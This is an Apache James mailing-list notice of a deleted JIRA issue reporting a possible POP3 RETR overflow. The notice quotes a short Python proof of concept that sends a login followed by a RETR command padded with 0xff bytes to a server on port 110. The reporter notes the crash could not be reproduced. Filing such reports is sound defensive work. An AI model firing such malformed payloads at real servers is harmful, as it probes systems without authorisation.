[jira] [Deleted] (JAMES-2652) Possible overflow on RETR command

["Tellier Benoit (JIRA)" <se...@james.apache.org>]

     [ https://issues.apache.org/jira/browse/JAMES-2652?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tellier Benoit deleted JAMES-2652:
----------------------------------


> Possible overflow on RETR command
> ---------------------------------
>
>                 Key: JAMES-2652
>                 URL: https://issues.apache.org/jira/browse/JAMES-2652
>             Project: James Server
>          Issue Type: Bug
>            Reporter: Gautier DI FOLCO
>            Priority: Minor
>
> Some vulnerability might have been found in POP3's RETR command
> Here is then enclosed Python code for the Proof of Concept:
> {code:java}
> import socket
> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
> #badchars = "\x00"
> data = "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
> buffer = "USER test@james.local \r\n PASS test \r\n" + "RETR" + " " + data
> # try:
> print "Sending"
> connect=s.connect(('192.168.138.129',110))
> s.recv(1024)
> s.send(buffer)
> print "Check DBG"
> {code}
> Sadly I was not able to reproduce it but I've added some tests



--
This message was sent by Atlassian JIRA
(v7.6.3#76005)

---------------------------------------------------------------------
To unsubscribe, e-mail: server-dev-unsubscribe@james.apache.org
For additional commands, e-mail: server-dev-help@james.apache.org